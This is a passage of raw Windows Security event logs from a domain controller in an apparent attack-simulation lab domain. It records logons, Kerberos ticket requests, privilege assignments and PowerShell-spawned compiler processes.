	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257551
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257550
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257549
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257548
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x527C53

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257547
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x527346

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257546
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x524DE4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257545
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1228
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESD9C.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC552BD664CC14469908F72708796C311.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257544
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x527C53

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257543
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x527C53
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257542
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257541
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257540
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257539
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1228
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1168
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\5zjup4lc.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257580
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52B7B5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257579
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52B7B5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A296F65B-4310-0B93-4838-CBFA2DB22B54}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257578
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A296F65B-4310-0B93-4838-CBFA2DB22B54}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257577
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A296F65B-4310-0B93-4838-CBFA2DB22B54}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257576
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257575
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc54
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x86c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES12FB.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC40EF71594FFA4420A1C6596D7930772.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257574
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x86c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa4c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\uchhrvzw.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257573
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52A9F2

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257572
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52A9F2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A296F65B-4310-0B93-4838-CBFA2DB22B54}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257571
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A296F65B-4310-0B93-4838-CBFA2DB22B54}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257570
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A296F65B-4310-0B93-4838-CBFA2DB22B54}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257569
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257568
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa4c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
